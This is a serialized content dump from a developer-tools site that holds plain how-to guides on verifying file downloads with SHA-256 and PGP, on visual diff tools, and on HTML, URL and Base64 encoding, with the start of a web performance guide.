performance.",{"immutable":363},"\u002Fguides\u002Fuuids-as-database-keys",{"title":221348,"description":221885},"guides\u002Fuuids-as-database-keys","8c88XrBhJWs3uLOLIOveuUs48W8sYIkFOsv8Q9JzOIU",{"id":221892,"title":221893,"body":221894,"date":2070,"description":222394,"extension":361,"meta":222395,"navigation":363,"path":222396,"readingTime":1710,"seo":222397,"stem":222398,"__hash__":222399},"guides\u002Fguides\u002Fverifying-file-downloads-hashes.md","Verifying File Downloads with Hashes: A Practical Guide",{"type":8,"value":221895,"toc":222371},[221896,221900,221903,221906,221908,221912,221926,221932,221935,221939,221941,221994,222001,222043,222045,222048,222077,222080,222091,222095,222098,222142,222146,222207,222210,222214,222217,222221,222224,222263,222266,222270,222301,222303,222307,222310,222314,222321,222325,222328,222330,222356,222358,222364,222368],[11,221897,221899],{"id":221898},"why-verify-downloaded-files","Why Verify Downloaded Files?",[16,221901,221902],{},"When you download a file — whether an operating system ISO, a software package, or a firmware update — you need assurance that what you received is what the publisher intended. Files can be corrupted during transfer, modified by a compromised mirror, or intercepted and altered by a man-in-the-middle attack.",[16,221904,221905],{},"Hash verification gives you a mathematical guarantee: if the hash of your downloaded file matches the publisher's published hash, the file is bit-for-bit identical to the original.",[11,221907,103656],{"id":103655},[33,221909,221911],{"id":221910},"the-process","The Process",[77,221913,221914,221917,221920,221923],{},[44,221915,221916],{},"The publisher computes a hash (typically SHA-256) of the original file",[44,221918,221919],{},"The publisher publishes the hash value on their website or in a signed manifest",[44,221921,221922],{},"You download the file and compute its hash locally",[44,221924,221925],{},"You compare the two hash values — a match confirms integrity",[135,221927,221930],{"className":221928,"code":221929,"language":140},[138],"Original File → SHA-256 → a]b3f2c...9001d (published hash)\nDownloaded File → SHA-256 → a]b3f2c...9001d (your computed hash)\nMatch → File is verified ✅\n",[143,221931,221929],{"__ignoreMap":141},[16,221933,221934],{},"Even a single bit difference produces a completely different hash. This is the avalanche effect — a core property of cryptographic hash functions.",[11,221936,221938],{"id":221937},"verifying-files-on-different-operating-systems","Verifying Files on Different Operating Systems",[33,221940,103683],{"id":103682},[135,221942,221944],{"className":6951,"code":221943,"language":6953,"meta":141,"style":141},"# SHA-256 (recommended)\nsha256sum ubuntu-24.04-desktop-amd64.iso\n# Expected output: e]b3f2c8d7a1...9001d  ubuntu-24.04-desktop-amd64.iso\n\n# MD5 (legacy, still published by some vendors)\nmd5sum ubuntu-24.04-desktop-amd64.iso\n\n# SHA-1 (deprecated but still encountered)\nsha1sum ubuntu-24.04-desktop-amd64.iso\n",[143,221945,221946,221951,221958,221963,221967,221972,221978,221982,221987],{"__ignoreMap":141},[1560,221947,221948],{"class":1562,"line":1563},[1560,221949,221950],{"class":1649},"# SHA-256 (recommended)\n",[1560,221952,221953,221955],{"class":1562,"line":337},[1560,221954,103698],{"class":1566},[1560,221956,221957],{"class":5634}," ubuntu-24.04-desktop-amd64.iso\n",[1560,221959,221960],{"class":1562,"line":343},[1560,221961,221962],{"class":1649},"# Expected output: e]b3f2c8d7a1...9001d  ubuntu-24.04-desktop-amd64.iso\n",[1560,221964,221965],{"class":1562,"line":365},[1560,221966,1702],{"emptyLinePlaceholder":363},[1560,221968,221969],{"class":1562,"line":889},[1560,221970,221971],{"class":1649},"# MD5 (legacy, still published by some vendors)\n",[1560,221973,221974,221976],{"class":1562,"line":1710},[1560,221975,151695],{"class":1566},[1560,221977,221957],{"class":5634},[1560,221979,221980],{"class":1562,"line":1717},[1560,221981,1702],{"emptyLinePlaceholder":363},[1560,221983,221984],{"class":1562,"line":1747},[1560,221985,221986],{"class":1649},"# SHA-1 (deprecated but still encountered)\n",[1560,221988,221989,221992],{"class":1562,"line":2507},[1560,221990,221991],{"class":1566},"sha1sum",[1560,221993,221957],{"class":5634},[16,221995,221996,221997,222000],{},"On macOS, use ",[143,221998,221999],{},"shasum"," instead:",[135,222002,222004],{"className":6951,"code":222003,"language":6953,"meta":141,"style":141},"# SHA-256 on macOS\nshasum -a 256 CentOS-Stream-9-x86_64-dvd1.iso\n\n# SHA-1 on macOS\nshasum -a 1 CentOS-Stream-9-x86_64-dvd1.iso\n",[143,222005,222006,222011,222024,222028,222033],{"__ignoreMap":141},[1560,222007,222008],{"class":1562,"line":1563},[1560,222009,222010],{"class":1649},"# SHA-256 on macOS\n",[1560,222012,222013,222015,222018,222021],{"class":1562,"line":337},[1560,222014,221999],{"class":1566},[1560,222016,222017],{"class":1576}," -a",[1560,222019,222020],{"class":1576}," 256",[1560,222022,222023],{"class":5634}," CentOS-Stream-9-x86_64-dvd1.iso\n",[1560,222025,222026],{"class":1562,"line":343},[1560,222027,1702],{"emptyLinePlaceholder":363},[1560,222029,222030],{"class":1562,"line":365},[1560,222031,222032],{"class":1649},"# SHA-1 on macOS\n",[1560,222034,222035,222037,222039,222041],{"class":1562,"line":889},[1560,222036,221999],{"class":1566},[1560,222038,222017],{"class":1576},[1560,222040,18868],{"class":1576},[1560,222042,222023],{"class":5634},[33,222044,24176],{"id":24175},[16,222046,222047],{},"PowerShell includes built-in hash commands:",[135,222049,222051],{"className":24185,"code":222050,"language":24187,"meta":141,"style":141},"# SHA-256\nGet-FileHash .\\node-v22.0.0-x64.msi -Algorithm SHA256\n\n# MD5\nGet-FileHash .\\node-v22.0.0-x64.msi -Algorithm MD5\n",[143,222052,222053,222058,222063,222067,222072],{"__ignoreMap":141},[1560,222054,222055],{"class":1562,"line":1563},[1560,222056,222057],{},"# SHA-256\n",[1560,222059,222060],{"class":1562,"line":337},[1560,222061,222062],{},"Get-FileHash .\\node-v22.0.0-x64.msi -Algorithm SHA256\n",[1560,222064,222065],{"class":1562,"line":343},[1560,222066,1702],{"emptyLinePlaceholder":363},[1560,222068,222069],{"class":1562,"line":365},[1560,222070,222071],{},"# MD5\n",[1560,222073,222074],{"class":1562,"line":889},[1560,222075,222076],{},"Get-FileHash .\\node-v22.0.0-x64.msi -Algorithm MD5\n",[16,222078,222079],{},"The CertUtil command also works in Command Prompt:",[135,222081,222085],{"className":222082,"code":222083,"language":222084,"meta":141,"style":141},"language-cmd shiki shiki-themes github-light github-dark","certutil -hashfile node-v22.0.0-x64.msi SHA256\n","cmd",[143,222086,222087],{"__ignoreMap":141},[1560,222088,222089],{"class":1562,"line":1563},[1560,222090,222083],{},[33,222092,222094],{"id":222093},"automating-verification","Automating Verification",[16,222096,222097],{},"Create a checksum file and verify against it:",[135,222099,222101],{"className":6951,"code":222100,"language":6953,"meta":141,"style":141},"# Publisher creates a checksum file\nsha256sum release.tar.gz > release.tar.gz.sha256\n\n# User verifies\nsha256sum -c release.tar.gz.sha256\n# Output: release.tar.gz: OK\n",[143,222102,222103,222108,222120,222124,222129,222137],{"__ignoreMap":141},[1560,222104,222105],{"class":1562,"line":1563},[1560,222106,222107],{"class":1649},"# Publisher creates a checksum file\n",[1560,222109,222110,222112,222115,222117],{"class":1562,"line":337},[1560,222111,103698],{"class":1566},[1560,222113,222114],{"class":5634}," release.tar.gz",[1560,222116,32916],{"class":1669},[1560,222118,222119],{"class":5634}," release.tar.gz.sha256\n",[1560,222121,222122],{"class":1562,"line":343},[1560,222123,1702],{"emptyLinePlaceholder":363},[1560,222125,222126],{"class":1562,"line":365},[1560,222127,222128],{"class":1649},"# User verifies\n",[1560,222130,222131,222133,222135],{"class":1562,"line":889},[1560,222132,103698],{"class":1566},[1560,222134,27519],{"class":1576},[1560,222136,222119],{"class":5634},[1560,222138,222139],{"class":1562,"line":1710},[1560,222140,222141],{"class":1649},"# Output: release.tar.gz: OK\n",[11,222143,222145],{"id":222144},"which-hash-algorithm-should-you-use","Which Hash Algorithm Should You Use?",[193,222147,222148,222159],{},[196,222149,222150],{},[199,222151,222152,222154,222157],{},[202,222153,6081],{},[202,222155,222156],{},"Status",[202,222158,101815],{},[211,222160,222161,222172,222184,222196],{},[199,222162,222163,222167,222169],{},[216,222164,222165],{},[47,222166,151477],{},[216,222168,175897],{},[216,222170,222171],{},"All file verification",[199,222173,222174,222179,222181],{},[216,222175,222176],{},[47,222177,222178],{},"SHA-512",[216,222180,175897],{},[216,222182,222183],{},"Large files, extra security margin",[199,222185,222186,222191,222193],{},[216,222187,222188],{},[47,222189,222190],{},"SHA-1",[216,222192,151541],{},[216,222194,222195],{},"Only if SHA-256 is unavailable",[199,222197,222198,222202,222204],{},[216,222199,222200],{},[47,222201,151474],{},[216,222203,151502],{},[216,222205,222206],{},"Only for accidental corruption, not tampering",[16,222208,222209],{},"If you verify against MD5, you are protected against corruption but not against a determined attacker who could craft a collision. SHA-256 or SHA-512 should be your default choice.",[11,222211,222213],{"id":222212},"signed-hashes-and-trust","Signed Hashes and Trust",[16,222215,222216],{},"A published hash is only as trustworthy as the channel that delivers it. An attacker who compromises the download page could replace both the file and the hash.",[33,222218,222220],{"id":222219},"pgpgpg-signatures","PGP\u002FGPG Signatures",[16,222222,222223],{},"Many software projects sign their checksums with PGP keys. This adds a layer of trust:",[135,222225,222227],{"className":6951,"code":222226,"language":6953,"meta":141,"style":141},"# Verify the signature on the checksum file\ngpg --verify SHA256SUMS.gpg SHA256SUMS\n\n# Then verify the file against the signed checksums\nsha256sum -c SHA256SUMS\n",[143,222228,222229,222234,222246,222250,222255],{"__ignoreMap":141},[1560,222230,222231],{"class":1562,"line":1563},[1560,222232,222233],{"class":1649},"# Verify the signature on the checksum file\n",[1560,222235,222236,222238,222240,222243],{"class":1562,"line":337},[1560,222237,103890],{"class":1566},[1560,222239,103893],{"class":1576},[1560,222241,222242],{"class":5634}," SHA256SUMS.gpg",[1560,222244,222245],{"class":5634}," SHA256SUMS\n",[1560,222247,222248],{"class":1562,"line":343},[1560,222249,1702],{"emptyLinePlaceholder":363},[1560,222251,222252],{"class":1562,"line":365},[1560,222253,222254],{"class":1649},"# Then verify the file against the signed checksums\n",[1560,222256,222257,222259,222261],{"class":1562,"line":889},[1560,222258,103698],{"class":1566},[1560,222260,27519],{"class":1576},[1560,222262,222245],{"class":5634},[16,222264,222265],{},"This two-step process ensures that even if the website is compromised, the attacker cannot produce a valid PGP signature without the private key.",[33,222267,222269],{"id":222268},"where-to-find-hashes","Where to Find Hashes",[41,222271,222272,222278,222284,222290],{},[44,222273,222274,222277],{},[47,222275,222276],{},"Official project websites",": Usually on the download page",[44,222279,222280,222283],{},[47,222281,222282],{},"Release notes",": Hashes for each release artifact",[44,222285,222286,222289],{},[47,222287,222288],{},"Package managers",": npm, pip, and apt verify hashes automatically",[44,222291,222292,1663,222295,1531,222297,222300],{},[47,222293,222294],{},"Signed manifests",[143,222296,103791],{},[143,222298,222299],{},".sha512"," files alongside downloads",[11,222302,10393],{"id":10392},[33,222304,222306],{"id":222305},"wrong-file-version","Wrong File Version",[16,222308,222309],{},"Make sure the hash you are comparing against matches the exact version you downloaded. A mismatch with a different version's hash is a false alarm.",[33,222311,222313],{"id":222312},"whitespace-in-copied-hashes","Whitespace in Copied Hashes",[16,222315,222316,222317,222320],{},"When copying hashes from web pages, trailing whitespace or hidden characters can cause mismatches. Always compare carefully or use the ",[143,222318,222319],{},"-c"," checksum file method.",[33,222322,222324],{"id":222323},"large-file-verification-takes-time","Large File Verification Takes Time",[16,222326,222327],{},"SHA-256 verification of a 4 GB ISO file takes 10-30 seconds depending on your disk speed. Do not assume the process has frozen.",[11,222329,1355],{"id":1354},[41,222331,222332,222335,222338,222347,222350,222353],{},[44,222333,222334],{},"Hash verification confirms your downloaded file matches the publisher's original exactly",[44,222336,222337],{},"SHA-256 is the recommended algorithm for file verification today",[44,222339,1388,222340,222342,222343,222346],{},[143,222341,103698],{}," on Linux\u002FmacOS and ",[143,222344,222345],{},"Get-FileHash"," on Windows",[44,222348,222349],{},"PGP-signed checksums protect against compromised download pages",[44,222351,222352],{},"MD5 is acceptable for detecting accidental corruption but not malicious tampering",[44,222354,222355],{},"Always verify the hash matches the correct file version",[11,222357,286],{"id":285},[16,222359,222360,222361,222363],{},"Compute SHA-256, MD5, and SHA-1 hashes for any text instantly with our free ",[98,222362,86434],{"href":86433},". All processing happens locally in your browser — your data never leaves your device.",[16,222365,222366],{},[98,222367,151810],{"href":86433},[2043,222369,222370],{},"html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}",{"title":141,"searchDepth":337,"depth":337,"links":222372},[222373,222374,222377,222382,222383,222387,222392,222393],{"id":221898,"depth":337,"text":221899},{"id":103655,"depth":337,"text":103656,"children":222375},[222376],{"id":221910,"depth":343,"text":221911},{"id":221937,"depth":337,"text":221938,"children":222378},[222379,222380,222381],{"id":103682,"depth":343,"text":103683},{"id":24175,"depth":343,"text":24176},{"id":222093,"depth":343,"text":222094},{"id":222144,"depth":337,"text":222145},{"id":222212,"depth":337,"text":222213,"children":222384},[222385,222386],{"id":222219,"depth":343,"text":222220},{"id":222268,"depth":343,"text":222269},{"id":10392,"depth":337,"text":10393,"children":222388},[222389,222390,222391],{"id":222305,"depth":343,"text":222306},{"id":222312,"depth":343,"text":222313},{"id":222323,"depth":343,"text":222324},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},"Learn how to verify file integrity using SHA-256 and MD5 hashes. Prevent corrupted or tampered downloads with checksum verification.",{"immutable":363},"\u002Fguides\u002Fverifying-file-downloads-hashes",{"title":221893,"description":222394},"guides\u002Fverifying-file-downloads-hashes","W0O_SEn6LOINAaRnaQxoWC8Bd7ixTgHCAU7kp-OoCGU",{"id":222401,"title":222402,"body":222403,"date":2070,"description":222688,"extension":361,"meta":222689,"navigation":363,"path":222690,"readingTime":1710,"seo":222691,"stem":222692,"__hash__":222693},"guides\u002Fguides\u002Fvisual-diff-tools-non-developers.md","Visual Diff Tools for Non-Developers: Compare Anything",{"type":8,"value":222404,"toc":222664},[222405,222409,222412,222415,222419,222423,222426,222430,222433,222437,222440,222444,222447,222451,222457,222509,222512,222516,222520,222523,222529,222533,222536,222541,222545,222548,222553,222557,222589,222593,222597,222600,222604,222607,222611,222614,222616,222636,222638,222656,222658],[11,222406,222408],{"id":222407},"what-are-visual-diff-tools","What Are Visual Diff Tools?",[16,222410,222411],{},"A diff tool compares two versions of a text and highlights what changed. While developers rely on diff tools daily to track code changes, these tools are just as useful for anyone who works with written content — editors, lawyers, marketers, and project managers included.",[16,222413,222414],{},"Visual diff tools go a step further by presenting changes in a human-friendly format: colors, side-by-side layouts, and inline highlights that make it easy to see what was added, removed, or modified.",[11,222416,222418],{"id":222417},"why-non-developers-need-diff-tools","Why Non-Developers Need Diff Tools",[33,222420,222422],{"id":222421},"contract-and-legal-document-review","Contract and Legal Document Review",[16,222424,222425],{},"Lawyers and procurement teams compare contract drafts across negotiation rounds. A single changed word — \"may\" to \"shall\" — can shift an obligation from optional to mandatory. Diff tools surface these changes instantly instead of requiring a line-by-line manual read.",[33,222427,222429],{"id":222428},"marketing-copy-and-content-editing","Marketing Copy and Content Editing",[16,222431,222432],{},"Content teams iterate on headlines, landing page copy, and email campaigns. Comparing draft versions ensures that approved changes were actually applied and that nothing was accidentally deleted during editing.",[33,222434,222436],{"id":222435},"spreadsheet-and-data-validation","Spreadsheet and Data Validation",[16,222438,222439],{},"When exporting data from two systems, a diff of the CSV outputs reveals discrepancies that a visual scan would miss — extra spaces, shifted columns, or encoding differences.",[33,222441,222443],{"id":222442},"compliance-and-audit-trails","Compliance and Audit Trails",[16,222445,222446],{},"Regulated industries must document every change to policies, procedures, and specifications. A diff output serves as verifiable evidence of what changed between versions and when.",[11,222448,222450],{"id":222449},"diff-formats-that-make-sense-to-everyone","Diff Formats That Make Sense to Everyone",[16,222452,222453,222454,222456],{},"You don't need to read raw ",[143,222455,212713],{}," output. Modern visual diff tools offer three presentation styles:",[193,222458,222459,222470],{},[196,222460,222461],{},[199,222462,222463,222465,222468],{},[202,222464,13018],{},[202,222466,222467],{},"How It Looks",[202,222469,489],{},[211,222471,222472,222483,222493],{},[199,222473,222474,222477,222480],{},[216,222475,222476],{},"Side-by-side",[216,222478,222479],{},"Two columns, differences highlighted",[216,222481,222482],{},"Document comparison, contracts",[199,222484,222485,222487,222490],{},[216,222486,148462],{},[216,222488,222489],{},"Single text with strikethrough (deleted) and underline (added)",[216,222491,222492],{},"Quick reviews, short texts",[199,222494,222495,222498,222506],{},[216,222496,222497],{},"Unified",[216,222499,222500,222501,1856,222503,222505],{},"One column with ",[143,222502,9448],{},[143,222504,9412],{}," markers",[216,222507,222508],{},"Compact summaries, email attachments",[16,222510,222511],{},"For non-technical users, side-by-side is usually the clearest format because you see both versions simultaneously.",[11,222513,222515],{"id":222514},"choosing-the-right-diff-tool","Choosing the Right Diff Tool",[33,222517,222519],{"id":222518},"online-diff-checkers","Online Diff Checkers",[16,222521,222522],{},"Web-based diff tools require no installation. Paste your two texts, pick a format, and see the differences immediately. They handle plain text, code, CSV, and most structured formats.",[16,222524,222525,222528],{},[47,222526,222527],{},"When to use them",": Quick one-off comparisons, sharing results with a colleague, or when you can't install software on your machine.",[33,222530,222532],{"id":222531},"desktop-applications","Desktop Applications",[16,222534,222535],{},"Tools like Beyond Compare and Meld offer folder-level comparisons, file syncing, and integration with version control. They handle binary files (images, PDFs) better than web tools.",[16,222537,222538,222540],{},[47,222539,222527],{},": Regular comparison workflows, comparing entire folders, or working with non-text files.",[33,222542,222544],{"id":222543},"built-in-editor-features","Built-in Editor Features",[16,222546,222547],{},"Many text editors and word processors include change tracking. Google Docs, Microsoft Word, and LibreOffice all offer \"Track Changes\" — essentially an inline diff built into the writing workflow.",[16,222549,222550,222552],{},[47,222551,222527],{},": Collaborative editing where changes accumulate over time and each author's contributions need attribution.",[11,222554,222556],{"id":222555},"practical-tips-for-better-comparisons","Practical Tips for Better Comparisons",[41,222558,222559,222565,222571,222577,222583],{},[44,222560,222561,222564],{},[47,222562,222563],{},"Normalize whitespace first"," — Trailing spaces and inconsistent indentation create false positives. Strip them before comparing.",[44,222566,222567,222570],{},[47,222568,222569],{},"Use consistent line breaks"," — Mix LF and CRLF line endings make every line appear \"changed.\" Convert to one style first.",[44,222572,222573,222576],{},[47,222574,222575],{},"Compare smaller chunks"," — Breaking a 50-page document into sections produces more focused, useful diffs.",[44,222578,222579,222582],{},[47,222580,222581],{},"Ignore case when appropriate"," — If capitalization differences don't matter for your review, enable case-insensitive comparison.",[44,222584,222585,222588],{},[47,222586,222587],{},"Save diff outputs"," — Export the comparison result as a record. It documents what changed and provides a reference for future reviews.",[11,222590,222592],{"id":222591},"common-misconceptions","Common Misconceptions",[33,222594,222596],{"id":222595},"diff-tools-only-work-with-code","\"Diff tools only work with code\"",[16,222598,222599],{},"Diff tools operate on plain text. Contracts, meeting minutes, configuration files, CSV exports — anything text-based works. The algorithm doesn't care whether the text is source code or a legal clause.",[33,222601,222603],{"id":222602},"i-need-to-install-git","\"I need to install Git\"",[16,222605,222606],{},"Git includes a diff engine, but it's far from the only option. Online diff checkers work entirely in your browser with zero setup.",[33,222608,222610],{"id":222609},"diff-tools-cant-handle-formatting","\"Diff tools can't handle formatting\"",[16,222612,222613],{},"Plain text diff tools ignore formatting (bold, fonts, colors). If formatting changes matter, use the built-in track-changes feature of your word processor instead.",[11,222615,1355],{"id":1354},[41,222617,222618,222621,222624,222627,222630,222633],{},[44,222619,222620],{},"Diff tools compare any plain text — not just code — and highlight additions, deletions, and modifications",[44,222622,222623],{},"Side-by-side format is the most readable for non-developers",[44,222625,222626],{},"Use diff tools for contract review, content editing, data validation, and compliance documentation",[44,222628,222629],{},"Normalize whitespace and line breaks before comparing to reduce noise",[44,222631,222632],{},"Online diff checkers require no installation and work for quick, one-off comparisons",[44,222634,222635],{},"Save diff outputs as audit trail evidence when compliance matters",[11,222637,321],{"id":320},[41,222639,222640,222644,222650],{},[44,222641,222642],{},[98,222643,35382],{"href":35381},[44,222645,222646],{},[98,222647,222649],{"href":222648},"\u002Fguides\u002Fdiff-algorithms-explained","Diff Algorithms Explained",[44,222651,222652],{},[98,222653,222655],{"href":222654},"\u002Fguides\u002Fcode-review-diff-tips","Code Review Diff Tips",[11,222657,286],{"id":285},[16,222659,222660,222661,222663],{},"Compare two texts instantly with our free ",[98,222662,35403],{"href":35402},". Paste your original and modified text, choose side-by-side or inline view, and see every difference highlighted — no sign-up required.",{"title":141,"searchDepth":337,"depth":337,"links":222665},[222666,222667,222673,222674,222679,222680,222685,222686,222687],{"id":222407,"depth":337,"text":222408},{"id":222417,"depth":337,"text":222418,"children":222668},[222669,222670,222671,222672],{"id":222421,"depth":343,"text":222422},{"id":222428,"depth":343,"text":222429},{"id":222435,"depth":343,"text":222436},{"id":222442,"depth":343,"text":222443},{"id":222449,"depth":337,"text":222450},{"id":222514,"depth":337,"text":222515,"children":222675},[222676,222677,222678],{"id":222518,"depth":343,"text":222519},{"id":222531,"depth":343,"text":222532},{"id":222543,"depth":343,"text":222544},{"id":222555,"depth":337,"text":222556},{"id":222591,"depth":337,"text":222592,"children":222681},[222682,222683,222684],{"id":222595,"depth":343,"text":222596},{"id":222602,"depth":343,"text":222603},{"id":222609,"depth":343,"text":222610},{"id":1354,"depth":337,"text":1355},{"id":320,"depth":337,"text":321},{"id":285,"depth":337,"text":286},"Learn how visual diff tools help non-developers compare documents, contracts, spreadsheets, and more — no coding required.",{"immutable":363},"\u002Fguides\u002Fvisual-diff-tools-non-developers",{"title":222402,"description":222688},"guides\u002Fvisual-diff-tools-non-developers","IPFl1DjjdsvtTUmKy3ZCc9dVf-GAKzXJkLp81rIOfqY",{"id":222695,"title":222696,"body":222697,"date":2070,"description":222969,"extension":361,"meta":222970,"navigation":363,"path":119077,"readingTime":889,"seo":222971,"stem":222972,"__hash__":222973},"guides\u002Fguides\u002Fweb-encoding-tools.md","Web Encoding Tools: HTML, URL, Base64 Compared",{"type":8,"value":222698,"toc":222951},[222699,222703,222715,222718,222722,222789,222793,222797,222800,222811,222813,222816,222827,222830,222833,222844,222846,222849,222862,222864,222866,222875,222878,222881,222883,222886,222890,222916,222918,222921,222939,222941],[11,222700,222702],{"id":222701},"why-web-encoding-matters","Why Web Encoding Matters",[16,222704,222705,222706,1459,222708,1459,222710,1466,222712,222714],{},"Web pages contain text that browsers must interpret correctly. Special characters like ",[143,222707,6431],{},[143,222709,28226],{},[143,222711,13530],{},[143,222713,8721],{}," have meaning in HTML, URL, and JavaScript contexts. Encoding ensures these characters are treated as data — not markup or syntax.",[16,222716,222717],{},"Without proper encoding, pages break, links fail, and security vulnerabilities like XSS can slip in.",[11,222719,222721],{"id":222720},"types-of-web-encoding","Types of Web Encoding",[193,222723,222724,222734],{},[196,222725,222726],{},[199,222727,222728,222730,222732],{},[202,222729,84410],{},[202,222731,2758],{},[202,222733,133],{},[211,222735,222736,222750,222763,222776],{},[199,222737,222738,222741,222744],{},[216,222739,222740],{},"HTML entities",[216,222742,222743],{},"Safe display of special chars in HTML",[216,222745,222746,52609,222748],{},[143,222747,116644],{},[143,222749,6431],{},[199,222751,222752,222755,222758],{},[216,222753,222754],{},"URL encoding",[216,222756,222757],{},"Safe characters in URLs",[216,222759,222760,222762],{},[143,222761,34150],{}," → space",[199,222764,222765,222767,222770],{},[216,222766,84223],{},[216,222768,222769],{},"Binary data as ASCII text",[216,222771,222772,222775],{},[143,222773,222774],{},"SGVsbG8="," → \"Hello\"",[199,222777,222778,222781,222784],{},[216,222779,222780],{},"Unicode escapes",[216,222782,222783],{},"Represent any character in JS\u002FCSS",[216,222785,222786,222788],{},[143,222787,203011],{}," → \"A\"",[11,222790,222792],{"id":222791},"when-to-use-each-encoding","When to Use Each Encoding",[33,222794,222796],{"id":222795},"html-entity-encoding","HTML Entity Encoding",[16,222798,222799],{},"Use HTML encoding when you need to display characters that have special meaning in HTML markup:",[41,222801,222802,222805,222808],{},[44,222803,222804],{},"User-generated content rendered in a page",[44,222806,222807],{},"Displaying code snippets",[44,222809,222810],{},"Showing mathematical symbols or foreign characters",[33,222812,86920],{"id":184361},[16,222814,222815],{},"Use URL encoding when passing data in query strings, path segments, or fragment identifiers:",[41,222817,222818,222821,222824],{},[44,222819,222820],{},"Query parameters with spaces or special characters",[44,222822,222823],{},"Form submissions via GET",[44,222825,222826],{},"Building API URLs dynamically",[33,222828,93675],{"id":222829},"base64-encoding",[16,222831,222832],{},"Use Base64 when you need to represent binary data as text:",[41,222834,222835,222838,222841],{},[44,222836,222837],{},"Embedding images in HTML or CSS (Data URIs)",[44,222839,222840],{},"Email attachments (MIME)",[44,222842,222843],{},"API payloads that require text-safe binary transport",[33,222845,203005],{"id":203004},[16,222847,222848],{},"Use Unicode escapes when you need to represent characters that cannot be typed directly or must be safe in string literals:",[41,222850,222851,222854,222859],{},[44,222852,222853],{},"JavaScript strings with rare characters",[44,222855,31366,222856,222858],{},[143,222857,63339],{}," property values",[44,222860,222861],{},"JSON that must avoid certain code points",[11,222863,10393],{"id":10392},[33,222865,215573],{"id":101940},[16,222867,222868,222869,222871,222872,222874],{},"Encoding already-encoded data produces gibberish. For example, encoding ",[143,222870,98619],{}," again gives ",[143,222873,117065],{},". Always check whether data is already encoded before processing.",[33,222876,222877],{"id":203243},"Wrong Encoding for the Context",[16,222879,222880],{},"Using URL encoding inside HTML attributes, or HTML encoding inside URLs, produces broken output. Match the encoding to the context where the data will be consumed.",[33,222882,202832],{"id":202831},[16,222884,222885],{},"Encoding transforms data for transport compatibility. It does not protect data from reading. Anyone can decode Base64 or HTML entities. Use encryption for confidentiality — not encoding.",[11,222887,222889],{"id":222888},"encoding-workflow-tips","Encoding Workflow Tips",[77,222891,222892,222898,222904,222910],{},[44,222893,222894,222897],{},[47,222895,222896],{},"Encode at the boundary."," Encode data right before it enters a new context (HTML, URL, JavaScript).",[44,222899,222900,222903],{},[47,222901,222902],{},"Decode only when needed."," Decode only right before the data is consumed.",[44,222905,222906,222909],{},[47,222907,222908],{},"Never encode twice."," Track whether data has been encoded to avoid stacking.",[44,222911,222912,222915],{},[47,222913,222914],{},"Test edge cases."," Try ampersands, angle brackets, non-ASCII characters, and emoji in your encoding pipeline.",[11,222917,286],{"id":285},[16,222919,222920],{},"Use the HTML Encoder tool to encode or decode HTML entities instantly. For URL encoding and Base64, try the URL Encoder and Base64 tools.",[41,222922,222923,222929,222934],{},[44,222924,222925,222928],{},[98,222926,222927],{"href":116496},"HTML Encoder"," — Encode and decode HTML entities",[44,222930,222931,222933],{},[98,222932,34510],{"href":34509}," — Encode and decode URL components",[44,222935,222936,222938],{},[98,222937,84223],{"href":12161}," — Encode and decode Base64 data",[11,222940,321],{"id":320},[41,222942,222943,222947],{},[44,222944,222945],{},[98,222946,118208],{"href":118207},[44,222948,222949],{},[98,222950,118214],{"href":118213},{"title":141,"searchDepth":337,"depth":337,"links":222952},[222953,222954,222955,222961,222966,222967,222968],{"id":222701,"depth":337,"text":222702},{"id":222720,"depth":337,"text":222721},{"id":222791,"depth":337,"text":222792,"children":222956},[222957,222958,222959,222960],{"id":222795,"depth":343,"text":222796},{"id":184361,"depth":343,"text":86920},{"id":222829,"depth":343,"text":93675},{"id":203004,"depth":343,"text":203005},{"id":10392,"depth":337,"text":10393,"children":222962},[222963,222964,222965],{"id":101940,"depth":343,"text":215573},{"id":203243,"depth":343,"text":222877},{"id":202831,"depth":343,"text":202832},{"id":222888,"depth":337,"text":222889},{"id":285,"depth":337,"text":286},{"id":320,"depth":337,"text":321},"Essential encoding and decoding tools every web developer needs — HTML, URL, Base64, and more compared.",{"immutable":363},{"title":222696,"description":222969},"guides\u002Fweb-encoding-tools","4BU3X0Plt6f2WhCTQtgFRyHjHN8g2kNvxu79FOCeeZA",{"id":222975,"title":125076,"body":222976,"date":2070,"description":224348,"extension":361,"meta":224349,"navigation":363,"path":125075,"readingTime":1747,"seo":224350,"stem":224351,"__hash__":224352},"guides\u002Fguides\u002Fweb-performance-basics.md",{"type":8,"value":222977,"toc":224321},[222978,222982,222985,222988,222992,222995,223122,223125,223129,223132,223159,223162,223166,223169,223173,223208,223218,223222,223298,223438,223442,223445,223449,223455,223566,223570,223649,223739,223743,223746,223750,223806,223809,223814,223819,223823,223826,223937,223941,223944,223958,223961,223965,223968,223972,224058,224062,224065,224198,224201,224205,224266,224268,224294,224296,224310,224312,224318],[11,222979,222981],{"id":222980},"why-performance-matters","Why Performance Matters",[16,222983,222984],{},"Every 100 ms of delay costs you conversions. Google reports that 53% of mobile users abandon sites that take longer than 3 seconds to load. Performance is not a luxury — it is the foundation of user experience and search ranking.",[16,222986,222987],{},"This guide walks through the metrics, the rendering pipeline, and the strategies you need to ship fast pages.",[11,222989,222991],{"id":222990},"core-performance-metrics","Core Performance 